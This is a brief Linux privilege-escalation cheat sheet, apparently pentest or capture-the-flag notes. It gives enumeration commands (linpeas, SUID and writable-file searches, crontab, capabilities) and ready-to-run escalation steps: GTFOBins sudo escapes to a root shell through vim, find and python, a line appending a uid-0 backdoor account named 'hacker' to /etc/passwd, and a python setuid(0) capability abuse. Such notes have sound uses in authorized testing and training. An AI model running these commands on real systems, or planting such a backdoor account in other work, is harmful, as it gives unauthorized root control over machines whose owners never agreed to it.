Linux Privilege Escalation

./linpeas.sh | tee linpeas.out

whoami; id; hostname; uname -a
cat /etc/passwd | grep -v nologin
cat /etc/crontab
sudo -l
find / -perm -4000 -type f 2>/dev/null
find / -writable -type f 2>/dev/null | grep -v proc
getcap -r / 2>/dev/null

sudo -l
# GTFOBins: https://gtfobins.github.io
sudo vim → :!bash
sudo find . -exec /bin/bash \;
sudo python -c 'import os; os.system("/bin/bash")'

find / -perm -4000 -type f 2>/dev/null
# Check each on GTFOBins

cat /etc/crontab
ls -la /etc/cron*
# Look for writable scripts called by root

openssl passwd -1 -salt salt password
echo 'hacker:$1$salt$hash:0:0:root:/root:/bin/bash' >> /etc/passwd

getcap -r / 2>/dev/null
# python3 cap_setuid+ep → python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'